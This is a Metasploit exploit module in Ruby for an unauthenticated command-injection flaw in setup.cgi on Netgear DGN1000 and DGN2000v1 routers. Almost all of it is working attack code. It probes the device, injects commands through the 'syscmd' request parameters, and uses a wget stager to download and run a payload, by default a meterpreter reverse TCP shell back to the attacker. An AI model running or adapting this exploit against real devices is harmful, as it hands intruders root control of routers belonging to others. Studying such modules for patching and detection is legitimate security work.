Netgear DGN1000 Setup.cgi Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Netgear DGN1000 Setup.cgi Unauthenticated RCE',  
'Description' => %q{  
This module exploits an unauthenticated OS command execution vulneralbility  
in the setup.cgi file in Netgear DGN1000 firmware versions up to 1.1.00.48, and  
DGN2000v1 models.  
},  
'Author' => [  
'Mumbai <https://github.com/realoriginal>', # module  
'Robort Palerie <[email protected]>' # vuln discovery  
],  
'References' => [  
['EDB', '25978'],  
],  
'DisclosureDate' => 'Jun 5 2013',  
'License' => MSF_LICENSE,  
'Platform' => 'linux',  
'Arch' => ARCH_MIPSBE,  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/mipsbe/meterpreter/reverse_tcp'  
},  
'Privileged' => true,  
'Payload' => {  
'DisableNops' => true,  
},  
'Targets' => [[ 'Automatic', {} ]],  
))  
end  
  
def check  
begin  
res = send_request_cgi({  
'uri' => '/setup.cgi',  
'method' => 'GET'  
})  
if res && res.headers['WWW-Authenticate']  
auth = res.headers['WWW-Authenticate']  
if auth =~ /DGN1000/  
return Exploit::CheckCode::Detected  
end  
end  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Unknown  
end  
Exploit::CheckCode::Unknown  
end  
  
def exploit  
print_status("#{peer} - Connecting to target...")  
  
unless check == Exploit::CheckCode::Detected  
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable URL")  
end  
  
print_status("#{peer} - Exploiting target ....")  
execute_cmdstager(  
:flavor => :wget,  
:linemax => 200,  
:concat_operator => " && "  
)  
end  
  
def execute_command(cmd, opts)  
begin  
res = send_request_cgi({  
'uri' => '/setup.cgi',  
'method' => 'GET',  
'vars_get' => {  
'next_file' => 'netgear.cfg',  
'todo' => 'syscmd',  
'cmd' => cmd.to_s,  
'curpath' => '/',  
'currentsetting.htm' => '1'  
}  
})  
return res  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")  
end  
end  
end  
`